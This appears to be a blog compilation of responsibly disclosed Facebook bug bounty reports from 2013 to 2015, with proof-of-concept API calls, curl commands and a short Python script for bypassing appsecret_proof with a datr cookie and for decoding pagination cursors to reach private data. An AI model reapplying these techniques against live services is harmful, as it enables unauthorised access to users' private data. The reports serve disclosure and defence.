There seems to be more information being displayed than necessary in errors from GraphQL leading to presentation of a full path of a directory or a file via the BLAME_files and BLAME_dirs feature.

Description

While the files and directories to blame will be of great use to any Facebook employee working on GraphQL (e.g. Jing Chen) I don’t see the need for an ordinary user to be able to see this information.

Normally in other areas I’ve looked at this information isn’t disclosed, and just the error message (less the BLAME_) is shown.

So before I end up on CluelessSec…

I’ve sat on this for a few months trying to see how I can escalate this or combine it with another bug and so far I’ve just been able to guess and use pre-existing information such as http://sintheticlabs.com/blog/a-look-inside-facebooks-source-code.html. Nevertheless as more information is released from GraphQL such as the spec Jing Chen mentioned in her React.JS talk, the easier it will be for me in the future to reach something more substantial by gathering more files names and directory structures until I can make better educated guesses to internal features.

Proof of Concept

Execute a mutation on a GraphQL call, this was also mentioned briefly at the 23min mark in the React.JS talk http://youtu.be/9sc8Pyc51uU?t=23m19s.

The call is changed in such a manner that will bring about an error. Once the error is raised, one can inspect the description to see which files or directories were assigned blame.

These all had starting paths as www/flib/ Some were already known in http://sintheticlabs.com/blog/a-look-inside-facebooks-source-code.html others were not.

I appreciate Facebook offering a Bounty for this and @JosipFranjkovic for pushing me to submit this.

Timeline

Feb 9, 2015 5:05pm – Report Sent
Feb 10, 2015 11:07am – Escalation to Facebook
Mar 3, 2015 10:12am – Confirmation of fix
Mar 3, 2015 11:39am – Bounty Awarded of $750 by Facebook

Undocumented in v2.0+ is a /group-id/photos/ endpoint which doesn’t obey the publish_actions permission requirement.

According to https://developers.facebook.com/docs/graph-api/reference/v2.2/group/feed, to publish to a group feed, a user needs publish_actions and user_groups permission. Comparing it to https://developers.facebook.com/docs/graph-api/reference/v2.2/user/photos, it seems that that the /group-id/photos/ endpoint should indeed be checking for publish_actions and user_groups permission.

Therefore this endpoint only needs basic login (no additional permission required) to post a photo to a group. Based on how Facebook permissions work, this doesn’t seem like something good that should happen.

Proof of Concept

Using a v2.0+ application

App ID: 819244098116110
Name: NewVersionLeepingTest

Access Token with no additional permissions added

{
"data": [
{
"permission": "public_profile",
"status": "granted"
}
]
}

Execute a HTTP POST call to

/1591230971096900/feed

{
"error": {
"message": "(#200) The user hasn't authorized the application to perform this action",
"type": "OAuthException",
"code": 200
}
}

As one expects since publish_actions is not included, the error message is correct.

Let’s try the undocumented endpoint

HTTP POST

/1591230971096900/photos

url=https://41.media.tumblr.com/011d0008086f89384685c7642ffa39ff/tumblr_niagzwZ7L91tdhimpo1_540.png

{
"id": "10101941607120697",
"post_id": "10101707496894467_1622968764589787"
}

The post has been created in the group https://www.facebook.com/groups/1591230971096900/permalink/1622968764589787/

There needs to be a check here for publish_actions and user_groups if the documentation is missing this endpoint or the endpoint needs to be removed/whitelisted if it wasn’t meant for the public.

Timeline

Feb 4, 2015 4:39pm – Report Sent
Feb 6, 2015 4:22pm – Escalation by Facebook
Feb 12, 2015 8:36pm – Confirmation of fix
Feb 12, 2015 9:49pm – Bounty awarded of $1500 by Facebook

For server calls, Facebook provides a way to secure calls with the appsecret_proof. However, if the call is made from a client, it doesn’t seem the app secret is required and relies on the current Facebook session (cookies). This session unfortunately doesn’t depend on whether the user is logged in or not, or where the session originated from.

Using this information, the server call can just be modified to add one single cookie parameter to bypass the app secret proof. Meaning, https://developers.facebook.com/docs/graph-api/securing-requests

You can prevent this by adding the appsecret_proof parameter to every API call from a server. This prevents bad guys from making API calls with your access tokens from their servers.

is easily still possible to accomplish with the appsecret_proof enabled.

Proof of Concept
Using an application with app secret proof enabled

App: NotLeepingApp
ID: 458290410972131

https://developers.facebook.com/apps/458290410972131/settings/advanced/

Execute a curl call

$ curl 'https://graph.facebook.com/me?access_token=ACCESS_TOKEN'

Response

{
"error": {
"message": "API calls from the server require an appsecret_proof argument",
"type": "GraphMethodException",
"code": 100
}
}

As expected, though while testing how the client calls work, it was noticed by trial and error, all that was needed to make this call work again was the datr cookie.

As explained here https://fbcdn-dragon-a.akamaihd.net/hphotos-ak-prn1/851576_193932070769264_1415834022_n.pdf – Facebook Ireland Audit Review Report 21 Sept 2012

The purpose of the datr cookie is to identify the web browser being used to connect to
Facebook independently of the logged in user. This cookie plays a key role in Facebook’s
security and site integrity features.

The key section “identify the web browser being used to connect to Facebook independently of the logged in user” means I don’t need to fiddle with creating fake users or my personal account to supply the datr cookie.

In addition, the lifetime of the datr cookie is two years.

So one just needs a simple page (while not logged in) with not too much data

$ curl 'https://www.facebook.com/feeds/api_status.php' -I
HTTP/1.1 200 OK
Last-Modified: Wed, 31 Dec 1969 16:00:00 -0800
X-Frame-Options: DENY
Content-Type: application/json
X-Content-Type-Options: nosniff
P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
X-UA-Compatible: IE=edge,chrome=1
Set-Cookie: datr=ar_HVO1jQBlp3EeTq_7A270d; expires=Thu, 26-Jan-2017 16:40:10 GMT; Max-Age=63072000; path=/; domain=.facebook.com; httponly
X-FB-Debug: ufap/wetAAlRQnm2Icm417TZIjiVBtEzrw5A13qra9RoTGHOMlu7JQ5xMLqC1YzDR+Z9AtPoJDPh7k6A3xaBGw==
Date: Tue, 27 Jan 2015 16:40:10 GMT
Connection: keep-alive
Content-Length: 205

The cookie here datr=ar_HVO1jQBlp3EeTq_7A270d can be used in our request. It should be noted it is not tied to the user.

$ curl 'https://graph.facebook.com/me?access_token=ACCESS_TOKEN' -H 'cookie: datr=ar_HVO1jQBlp3EeTq_7A270d'

Response

{
"id": "10101589956087187",
"first_name": "Philippe",
"gender": "male",
"last_name": "Harewood",
"link": "https://www.facebook.com/app_scoped_user_id/10101589956087187/",
"locale": "en_US",
"name": "Philippe Harewood",
"timezone": -4,
"updated_time": "2015-01-27T15:51:23+0000",
"verified": true
}

So now as a server, it’s just to wrap this up into a little script

import requests

url = 'https://www.facebook.com/feeds/api_status.php'
r = requests.get(url)

datr = r.cookies['datr']

graph_url = 'https://graph.facebook.com/me?access_token=ACCESS_TOKEN'

cookies = dict(datr=datr)

g = requests.get(graph_url, cookies=cookies)
print g.text

It seems like an extra check is missing here, such as the xs cookie perhaps. Normally a datr cookie wouldn’t be enough to access data in Facebook, as you will arrive at a login screen, so it’s strange that it’s the only cookie being used as an alternative to the app secret proof for preventing server side calls on stolen tokens.

Facebook’s Initial Response

This is intentional behavior in our product, for now. It’s a trade-off, in that if we decided to block calls such as yours, we might end up blocking legitimate ones, and we would rather not do that. But rest assured that we’re logging those cases. So even though we consider it an accepted risk, we have controls in place to monitor and mitigate abuse.

This seems fair, so I didn’t think much of it and went on to researching other areas, until I received

Facebook’s Second Response

We revisited the matter here and are investigating the full implications of your report. That’s the reason why I reopened the case. We will keep you up to date on progress. Stay tuned :)
Thanks,

Nice.

The fix implemented by Facebook seems to counter the mentioned method earlier. I’m sure there is a new trade-off point so Facebook still allows legitimate requests but I’ll leave it be for now :) Thanks to Reginaldo and Neal on the Facebook Security Team.

Timeline

Jan 27, 2015 1:05pm – Report Sent
Jan 28, 2015 5:57pm – First Response by Facebook
Jan 29, 2015 9:26pm – Second Response by Facebook
Jan 30, 2015 8:45pm – Patched by Facebook
Feb 4, 2015 6:29am – Bounty awarded of $2500 by Facebook

According to Facebook, Cursor-based pagination is the most efficient method of paging and should always be used where possible – a cursor refers to a random string of characters which mark a specific item in a list of data. Using certain access tokens with access to specific data it was possible to translate the cursor to an object ID that the session user doesn’t have access. In short, the cursors were leaking data.

In the paging documentation, https://developers.facebook.com/docs/graph-api/using-graph-api/v2.2#paging

When reading an edge that supports cursor pagination, you will see the following JSON response:

{
"data": [
... Endpoint data is here
],
"paging": {
"cursors": {
"after": "MTAxNTExOTQ1MjAwNzI5NDE=",
"before": "NDMyNzQyODI3OTQw"
},
"previous": "https://graph.facebook.com/me/albums?limit=25&before=NDMyNzQyODI3OTQw"
"next": "https://graph.facebook.com/me/albums?limit=25&after=MTAxNTExOTQ1MjAwNzI5NDE="
}
}

What isn’t explicitly stated in the documentation is that these cursors aren’t as random as they appear. These are in fact base64 encoded object IDs.

echo MTAxNTExOTQ1MjAwNzI5NDE= | base64 --decode
10151194520072941

Which is https://www.facebook.com/matthewjohnston4/media_set?set=a.10151194520072941.476776.825212940&type=1

And

echo NDMyNzQyODI3OTQw | base64 --decode
432742827940

Which is https://www.facebook.com/matthewjohnston4/media_set?set=a.432742827940.204642.825212940&type=1

I first arrived at this when inspecting this bug Tagged Places shouldn’t show paging params if no user_tagged_places granted

I was told they were aware of paging bug, nevertheless I decided to dig and see how far and what data I was able to get before they fixed it. Here are some major areas that I found

  • Get the Ad Account and Group ID for any user
  • Get Ad Account Group for any user
  • Paging Cursors leaking data in GraphQL

The final one I believe was the kicker

GraphQL is an internal API Facebook has been using on their mobile applications for the past two years https://www.youtube.com/watch?v=9sc8Pyc51uU. I’ve been trying to find bugs in it for the last year D: D: D:

Using GraphQL, certain endpoints and the fact that cursors were leaking data I was able to determine

Uploaded Albums of any user (private “Only Me” included)

Execute a call to

graph.facebook.com/graphql?q=node(13608786){albums{page_info}}

Response

{
"13608786": {
"albums": {
"page_info": {
"start_cursor": "10100166639365307",
"end_cursor": "533270280057",
"has_next_page": true,
"has_previous_page": true,
"delta_cursor": null
}
}
}
}

Notice that the end cursor 533270280057 is the ID of an album set only to Friends for user 13608786

https://www.facebook.com/philippeharewood/media_set?set=a.533270280057.2147497.13608786&type=1

So by using the start_cursor, end_cursor and before params I can page through the data to identify IDs that are not available under privacy set to Public

graphql?q=node(13608786){albums.before("END_CURSOR_HERE"){page_info,nodes}}

Uploaded Videos of any user (private “Only Me” included)

A similar approach can be taken with any user’s uploaded videos

graphql?q=node(13608786){uploaded_videos{page_info}}

{
"13608786": {
"uploaded_videos": {
"page_info": {
"start_cursor": "10101702399754177",
"end_cursor": "10100949657825037",
"has_next_page": true,
"has_previous_page": true,
"delta_cursor": null
}
}
}
}

List of Video IDs
using graphql?q=node(13608786){uploaded_videos.before(10100949657825037){page_info}}

  • 10100949657825037 <- Privacy Friends Only
  • 10101077678944687
  • 10101401336302747
  • 10101521764558557
  • 10101651585710927
  • 10101651591259807
  • 10101702399754177 <- Privacy Only me

Time creation of all Timeline Stories of any user (private “Only Me” included)

Here I wasn’t able to deduce the IDs, as the cursor worked on the updated time of the post. Which turned out to be just as good

Say I (13608786) just updated by status privately (Only me) at 1419882632 unix time.

https://www.facebook.com/philippeharewood/posts/10101888152743697

Using the endpoint from the querying user.

graphql?q=node(13608786){timeline_stories{page_info}}

{
"13608786": {
"timeline_stories": {
"page_info": {
"start_cursor": "MTQxOTg4MjYzMjox",
"end_cursor": "MTQxOTIwOTAwNjox",
"has_next_page": true,
"has_previous_page": true,
"delta_cursor": null
}
}
}
}

From previous bug reports, we know this is just base64 encoded

Decoding the start_cursor

echo MTQxOTg4MjYzMjox | base64 --decode
1419882632:1

1419882632 matches the unix time from earlier.

Using the methods from Uploaded Videos and Uploaded Albums, and throwing it into a Python script, I can make a graph of any user’s activity based on updated time regardless of privacy level set.

  • When does user X post the most/least?
  • Which days?
  • Which week?
    …etc.

Timeline

Dec 29, 2014 4:01pm – Report Sent
Dec 30, 2014 4:53pm – Escalation by Facebook
Jan 30, 2015 2:27pm – Patched and bounty awarded of $7500 by Facebook

Using the endpoint /me/tagged_places the response lists; paging info, next param info. Within these values are the place tags IDs base64 encoded. I’m not really sure what’s the point of showing this when there is no permission granted for user_tagged_places.

Originally I filed this with the Platform Team but they closed it and said to file it here.

Thanks for filing a bug. I think you should definitely go ahead and whitehat report this. This is leaking user info without appropriate permissions.

If the security folks for some reason feel it’s not a whitehat issue, just comment on this bug. we will reopen and escalate it here. I know it’s a little more work on your end, but it’s worth it. :)

Proof of Concept

Using the Graph API Explorer with no extra permissions

Execute a call to /me/tagged_places

{
"data": [
],
"paging": {
"cursors": {
"before": "MTAxMDE4NTA2ODg0MjI0OTc=",
"after": "MTAxMDA3NjUyNzY0MjE4NDc="
},
"next": "https://graph.facebook.com/v2.2/13608786/tagged_places?pretty=0&limit=25&after=MTAxMDA3NjUyNzY0MjE4NDc%3D"
}
}

Taking the before parameter

$ echo MTAxMDE4NTA2ODg0MjI0OTc= | base64 --decode

1010185068842249

With user_tagged_places and user_photos (this combo is needed yet not documented, user_tagged_places is needed to access the place tag but this is restricted by the fact that the place is tagged via a photo uploaded object)

this ID resolves to

{
"id": "10101850688422497",
"created_time": "2014-11-28T12:16:42+0000",
"place": {
"id": "112083888860152",
"location": {
"city": "Port of Spain",
"country": "Trinidad and Tobago",
"latitude": 10.6583515734,
"located_in": "176754389001942",
"longitude": -61.5321243714
},
"name": "PriceSmart"
}
}

The expected response for /me/tagged_places or any /user-id/tagged_places (This bug works for users other than the session user as well) is a blank array.

{
"data": [
]
}

or a permissions error.

Timeline

Dec 4, 2014 10:14pm – Report Sent
Dec 5, 2014 1:34pm – Escalation by Facebook
Dec 22, 2014 4:55pm – Patched and bounty awarded of $750 by Facebook

If you read Josip Franjković blog, you’d remember this report http://josipfranjkovic.blogspot.com/2013/11/facebook-bug-bounty-secondary-damage.html. Turns out this isn’t just a one hit wonder. Reports that lead to bugs can in fact be more valuable than initially expected.

When I was digging into Ads endpoints for a double bounty, I came across some inconsistencies in the Facebook Ads API documentation.

Description

According to the ad level limits here https://developers.facebook.com/docs/reference/ads-api/access#limits, a developer Ads API should not have access to Business Manager API calls.

This does not seem to be true, as I am able to inspect the business ID for my account as well as execute Business changes such as modifying the vertical, thus not obeying the limit imposed for my level.

Proof of Concept

ID: 458290410972131
Name: NotLeepingTest

Execute a call to a business ID (1506156432945949)

HTTP GET /1506156432945949

Response

{
"error": {
"message": "(#294) Managing advertisements requires the extended permission ads_management and an application that is whitelisted to access the Ads API",
"type": "OAuthException",
"code": 294
}
}

An error is returned as I expect from the limit described at https://developers.facebook.com/docs/reference/ads-api/access#limits but not the error I thought would be presented, seeing that this ID is associated with the business not Ads.

Trying for an application with ads_management permission, basically I am just pleasing the error message at this point

ID: 269335163238875
Name: AnyLeepingTest

Execute a call to the same business ID

HTTP GET /1506156432945949

Response

{
"id": "1506156432945949",
"name": "00Agency"
}

Here I would expect an error message stating that I am only at Developer Level access when I need at least Standard Level access. It can be said that maybe Developer Level allows read access (which isn’t explicitly stated in the docs) and that’s why I’m able to access it.

So, let’s try a write call, specifically one from https://developers.facebook.com/docs/reference/ads-api/businessmanager. I am going to change the vertical of my business to RETAIL from ADVERTISING

described in the docs as

curl \
-F "vertical=RETAIL" \
-F "access_token=" \
"https://graph.facebook.com/"

So for my app and business

curl \
-F "vertical=RETAIL" \
-F "access_token=ACCESS_TOKEN" \
"https://graph.facebook.com/1506156432945949"

The response is just the ID of the business (which is probably not a good indicator of success/failure)

Checking the new properties with a GET call to

/1506156432945949?fields=vertical,vertical_id

{
"vertical": "RETAIL",
"vertical_id": 14,
"id": "1506156432945949"
}

Notice the new vertical is indeed RETAIL and the vertical ID has changed from 1 (ADVERTISING) to 14 (RETAIL).

Thus from this POC, I am able to use the Business Manager API while only at developer level access when here https://developers.facebook.com/docs/reference/ads-api/access#limits explicitly states that I should not be able to this for Development and Basic level.

Facebook’s First Response

Hi Philippe,

Interesting. I’ll follow up with our Business Manager team about the behavior you’re describing here: it sounds like they may have wanted to be more restrictive about who is able to use their APIs. I’ll let you know when I hear back from them. :-)

Good so far,

Facebook’s Second Response

Hi Philippe,

Docs have been updated to reflect when access is actually allowed :-)

That being said, I dug in to these APIs a bit more and found some areas of concern. The team is working on fixing those up. Normally just a documentation change wouldn’t be enough for a bounty, but these additional issues should qualify. I’ll be in touch once they’re closer to being fixed.

Yup, a documentation change to clarify access. I’m very gracious at the generosity here.

Facebook’s Explanation

Hi Philippe,

There are a few Business Manager API endpoints which are accessible to more applications than they should be. The team is in the process of locking them down. :-)

I’m sure if I sat down comparing applications for access I might have reached one of these, but I’m guessing it sure would have been a long trial and error process.

So as Josip stated before, Thanks to the Facebook Security Team in the manner in which they carry out the bug bounty program. Very sincere and welcoming program.

Happy Hunting!

Timeline

Oct 30, 2014 at 6:50 AM – Report sent
Nov 5, 2014 at 2:02 AM – First Response from Facebook
Nov 21, 2014 at 4:02 PM – Second response from Facebook
Dec 30, 2014 at 3:07 PM – Bounty awarded of $1000 by Facebook
Jan 9, 2015 at 3:19 PM – Clarification from Facebook about the actual bug

Based on the blog and the in-app videos Slingshot works like Snapchat. If you have a username you can sling a “shot” to them. Well, I don’t need the username. If I know the Facebook account I can use that to query against the Parse SDK Slingshot is using to add the user to my list.

Impacts? Well spam and nude shots from people you didn’t give your username.

As stated here as well http://www.sling.me/theprivacy

“Registration and Contacts. To sign up for Slingshot, you provide your mobile phone number. Slingshot will periodically access your phone contacts to find the mobile numbers of other people you know who use Slingshot and let you sling shots to them, or let you invite them to join you on Slingshot. You can also add your Facebook friends to the list of people you sling with.”

I can add any Facebook user non-friend without username knowledge

Proof of Concept

Modify the POST body request to Parse API for /2/client_function placing TARGET_ID into the list of facebookIds

{"data":{"facebookIds":["TARGET_ID"]},"v":"a1.4.3","uuid":"UUID","iid":"IID","session_token":"SESSION_TOKEN","function":"v2_findFbFriends"}

Response

{"result":{"totalAdded":1}}

So this can be fixed in two ways.

  1. Only allow ids from Facebook friends only.
  2. Use App Scoped ids to match to Slingshot Data.

With method 2, I will not be able to determine any user from Facebook other than my own friend list.

Facebook chose to move the entire Facebook friend function to the server.

Timeline

Tue, Jun 17, 2014 at 4:21 PM – Report Sent
Tue, Jun 17, 2014 at 4:42 PM – Escalation by Facebook
Wed, Jul 9, 2014 at 5:58 PM – Patched and bounty awarded of $1000 by Facebook

The App Scoped User ID privacy is broken based on irregularities to how the ID works

  1. On Facebook.com
  2. On graph.facebook.com/1.0
  3. On graph.facebook.com/2.0

For 3) any apps cannot use another app scoped User ID, the result is “Unsupported get request”. Which makes sense, only that app that issued the app scoped User ID should know the true nature of that ID.

For 1) and 2) however, the idea behind the system breaks and User ID is both identifiable outside of its host app and open to queries.

Seeing that Graph API 1.0 will be valid for a next year, this seems like a leak to be fixed seeing that the whole idea of app scoped User IDs was to prevent such leaks.

Proof of Concept

FIRST CASE: The Graph v1.0 App Leak

1) Login to a 2.0 enabled application (App id 269335163238875 name:AnyLeepingTest), issued an app scoped id

10101589693029357

2) Try querying via v1.0 under same app (which will be unversioned and based on the docs, this defaults to v1.0) same id

10101589693029357

3) Inspect the previous id (10101589693029357) using a second v2.0 enabled App (app id: 458290410972131 name: NotLeepingTest). So we are using the access token from the second app but the app scoped id from the first app.

Result

{
"error": {
"message": "Unsupported get request.",
"type": "GraphMethodException",
"code": 100
}
}

Great, it works for this case Trying again under v1.0 (unversioned)

Same result

{
"error": {
"message": "Unsupported get request.",
"type": "GraphMethodException",
"code": 100
}
}

At this point the app scoped id works as intended.

But, what about a v1.0 app (Any app created before May), using Blank – Dev (appid:234385033316928) with a v1.0 call

{
"id": "10101589693029357",
"favorite_athletes": [
{
"id": "84218631570",
"name": "David Beckham"
},
{
"id": "191732387543166",
"name": "Jodi Boam IFBB Fitness Pro"
}
],
"favorite_teams": [
{
"id": "8914851378",
"name": "Montreal Alouettes"
},
{
"id": "63958787144",
"name": "Vancouver Canucks"
},
{
"id": "110877132302973",
"name": "Canadiens de Montréal"
}
],
"first_name": "Philippe",
"gender": "male",
"hometown": {
"id": "116087261735365",
"name": "Port of Spain, Trinidad and Tobago"
},
"inspirational_people": [
{
"id": "92304305160",
"name": "Will Smith"
},
{
"id": "112012775491068",
"name": "Markus Persson"
},
{
"id": "106083232757300",
"name": "Joel Spolsky"
}
],
"languages": [
{
"id": "106059522759137",
"name": "English"
},
{
"id": "108106272550772",
"name": "French"
}
],
"last_name": "Harewood",
"link": "https://www.facebook.com/philippeharewood",
"location": {
"id": "102184499823699",
"name": "Montreal, Quebec"
},
"locale": "en_US",
"name": "Philippe Harewood",
"sports": [
{
"id": "113479351995643",
"name": "Kayaking"
},
{
"id": "107751495914431",
"name": "Rowing"
},
{
"id": "107733585923064",
"name": "Sailing"
}
],
"quotes": "Live without pretending, Love without depending, Listen without defending, Speak without offending.",
"timezone": -4,
"updated_time": "2014-04-27T15:34:51+0000",
"username": "philippeharewood",
"verified": true
}

Ok this shouldn’t work even if app scoped ids are backwards compatible, the user (me) was already logged in under v1.0 so he received a user id already userid:"13608786" So there is no reason for a v1.0 app to have access to a v2.0 app scoped id 10101589693029357

The correct response would be

{
"error": {
"message": "Unsupported get request.",
"type": "GraphMethodException",
"code": 100
}
}

As with the case when trying to share id between two v2.0 apps.

SECOND CASE: profile link

In a v2.0 response for an id such as 10101589693029357 the profile link is https://www.facebook.com/app_scoped_user_id/10101589693029357/ so I assume this is another check in place to protect privacy. But this link goes straight to the user on clicking.

https://www.facebook.com/app_scoped_user_id/10101589693029357/ -> https://www.facebook.com/philippeharewood

Well, one could say the redirect only works in the current session user, but I have reattempted on a test account and the redirect still works.

So this link does no real obfuscation.

The correct check would be that the link only works in the current session user as well as developers of the app and produces 404 for any other user.

Using the info learned from case 1, I can also just return myself the original url

http://graph.facebook.com/10101589693029357

gives

{
"id": "10101589693029357",
"first_name": "Philippe",
"gender": "male",
"last_name": "Harewood",
"link": "https://www.facebook.com/philippeharewood",
"locale": "en_US",
"name": "Philippe Harewood",
"username": "philippeharewood"
}

Notice the link is the original link.

So overall, the app scoped id model seems to be inconsistent in some parts and this should be resolved in my opinion.

Response from Facebook

As you saw, the Facebook API is now versioned: https://developers.facebook.com/docs/apps/versions. That means any apps created today can only make requests to the v2 API, but apps created before the announcement can make requests to the v1 API until it expires as well as to the v2 API. That’s a necessary step since an application can’t always upgrade to v2 of the API in one synchronous step (ie: if a single app ID powers a number of mobile apps as well as a web app). To support that behavior, we support app-scoped UIDs even via the v1 API. And that’s where we run into problems ;-)

Generally speaking, you identified three potential issues:

  1. Given an app-scoped UID for v2 app X, it is possible to make requests to the v1 API with a v1 app Y and get back data.
  2. Given an app-scoped UID, you can browse to https://www.facebook.com/app_scoped_user_id/APP-SCOPED-UID and trivially see the real user.
  3. http://graph.facebook.com/APP-SCOPED-UID returns information about the user

The behavior in #1/#3 was caused by the fact that in v1 we were resolving app-scoped UIDs without verifying that the app was tied to the user account. Surprisingly, this is necessary in some cases (ie: an app which supports both v1 and v2 can make a request to http://graph.facebook.com/APP-SCOPED-UID and reasonably expect to get back a response, even without an access token, since that’s how v1 API works). What we’re changing is that IDs generated for apps which solely support v2 will not be able to make those same requests.

The behavior in #2 is actually by design and will not change. We need to provide a way for applications to generate profile links back to Facebook, which is what /app_scoped_user_id/ is for. Without it, there’s no way for users on an app to interact with their fellow users on Facebook. The endpoint requires you to be logged in and has rate limiting in place to prevent mass scraping. This was a security/usability tradeoff which we made as part of the development process.

Timeline

Thu, May 1, 2014 at 6:45 PM – Report Sent
Thu, May 1, 2014 at 8:38 PM – Escalation by Facebook
Thu, May 8, 2014 at 9:58 PM – Explanation of Update and Fix by Facebook
Wed, May 14, 2014 at 1:56 PM – Bounty awarded of $1500 by Facebook

Note

This type of bug as of Tue, Sep 9, 2014 at 11:41 PM is no longer seen as a vulnerability and should be reported to https://developers.facebook.com/bugs instead

In general, they’re more concerned about the ability to go from an app-scoped user ID to a global ID versus the ability to go from a global ID to an app-scoped ID. The former is at best a bug (ie: we’re returning an incorrect identifier) and at worst provides a global identifier that can be used to link users between unrelated applications. In the latter case, someone who knows the global ID of a user can already identify that user between applications.

…we’ve concluded that we won’t be rewarding issues of this type under our program going forward.

…the ability to go from an app-scoped user ID to a global identifier is definitely a Platform bug since the wrong identifier is being returned by the API. From a privacy perspective the fact that you can assign a global identifier to an API user also means that it’s easier to connect a person’s information between unrelated apps. However, app-scoped user IDs are a technical solution to a policy problem, and as such there are going to be ways to circumvent them (ie: two apps with access to your posts can collude to identify you by which posts you’ve published).

On the policy side, our Platform Policy document (https://developers.facebook.com/policy) lays out rules like “Protect the information you receive from us against unauthorized access or use” and “Don’t sell, license, or purchase any data obtained from us or our services” which are intended to protect people’s data. On the product side, our Anonymous Login system is intended for cases where you may not want to associate any of your personal information with your identity in an application.

We intend to treat future reports of this type as Platform bugs, which can be reported at https://developers.facebook.com/bugs/, since they affect the validity of the data returned via the API. However, since these identifiers are not directly intended to impart an extra layer of privacy, we aren’t going to treat these issues as valid Whitehat reports.

I was able to snipe a few bugs in the

  • Legacy REST API
  • FQL
  • Graph API v1.0
  • Graph API v2.0

before this decision was made.

Titles of reports

  • Linking Global IDs to App Scoped IDs using FQL thread table – $1500
  • Using Global IDs with App Notifications in a v2.0 App – $1500
  • Match users based on username in a v2.0 application using the FQL profile table – $1500
  • Using Facebook REST API to deduce an app scoped ID from a global ID – $1500
  • Linking an app-scoped ID to a Global ID using me/conversations edge in a v2.0 app – $1500
  • Using the metadata field to link an app-scoped ID to a global ID in a v2.0+ application – $1500
  • Using the friends edge to link users based on username or global ID in a v2.0+ application – $1500
  • Using /{video-id}/tags and tag_uid with a Global ID on a v2.0 application – $2000
  • Match users based on username in a v2.0 application using FQL stream table – $1500
  • Using Global IDs with /{page-id}/admins in a v2.0 Application – $1500
  • Link Global ID to App Scoped ID using FQL substr function in v2.0 application – $1500

It is possible to invite a non friend to a Facebook page using the mobile friend invite access point. Normally it should only be possible to invite friends and invite non-friends with email. With the mobile access point (https://m.facebook.com/a/send_page_invite/?invitee_id=INVITE_ID&page_id=PAGE_ID it is possible to bypass. This can lead to much unwanted invite spam from people the user is not friends with.

Proof of Concept

  1. Access invite link from mobile web https://m.facebook.com/send_page_invite/?pageid=113702895386410

  2. Replace the invitee_id with the non friend id (100006518623181 – Facebook Whitehat Test User). So the request becomes

HTTP POST /a/send_page_invite/?invitee_id=100006518623181&page_id=113702895386410

Expected: The non-friend user is not invited.
Actual: The friend is invited and invite shows up on the non friend page

Timeline

Wed, Nov 13, 2013 at 9:38 PM – Report sent
Mon, Nov 18, 2013 at 11:10 PM – Request for clarification from Facebook
Tue, Nov 19, 2013 at 12:18 PM – Further explanation sent
Tue, Nov 19, 2013 at 11:49 PM – Escalation of report by Facebook
Tue, Nov 26, 2013 at 11:24 AM – Patched confirmation
Tue, Nov 26, 2013 at 2:56 PM – Patch confirmed by Facebook
Tue, Nov 26, 2013 at 2:59 PM – Bounty awarded of $1500 by Facebook

According to developer documentation on the keyword_insights FQL table, the only way to get data from this table is to use an “app access token” from a whitelisted application. It is possible however to use a “user access token” to access the FQL table, meaning no app token is required, just a valid user authorization to an application that also has white listed access.

Proof of Concept

Using a whitelisted partner named under the Availability section of http://newsroom.fb.com/News/706/New-Tools-for-Surfacing-Conversations-on-Facebook, add the whitelisted app under normal user authorization OAuth flow. For this proof of concept Buzzfeed was used.

  1. Go to http://www.buzzfeed.com/, sign up in the upper right hand corner and you should be presented with the option to Sign Up with Facebook

  2. Using a network sniffer or developer tools extract the user access token (As far as I am aware, only real accounts can use these platform applications [except in the case of test user accounts for a developer of his/her app], so a real personal account has been used, specifically mine). The simplest way would be after sign up, just call the method from the JS SDK in the browser dev tools console: FB.getAccessToken()

  3. Using this access token, one can then make an FQL call using the Graph API explorer or otherwise

SELECT location_results FROM keyword_insights WHERE term='Obama' AND country='US'

Expected: An error returned due to wrong level of access
Actual: Full breakdown by City

This was also possible for age and gender breakdown

SELECT age_gender_results FROM keyword_insights WHERE term=’pizza’ AND region=’California’

Timeline

Wed, Sep 11, 2013 at 4:00 PM – Report Sent
Sun, Sep 15, 2013 at 1:31 PM – Escalation of report by Facebook
Wed, Sep 25, 2013 at 2:23 PM – Confirmed and Patched by Facebook
Wed, Sep 25, 2013 at 2:41 PM – Bounty awarded of $2000 by Facebook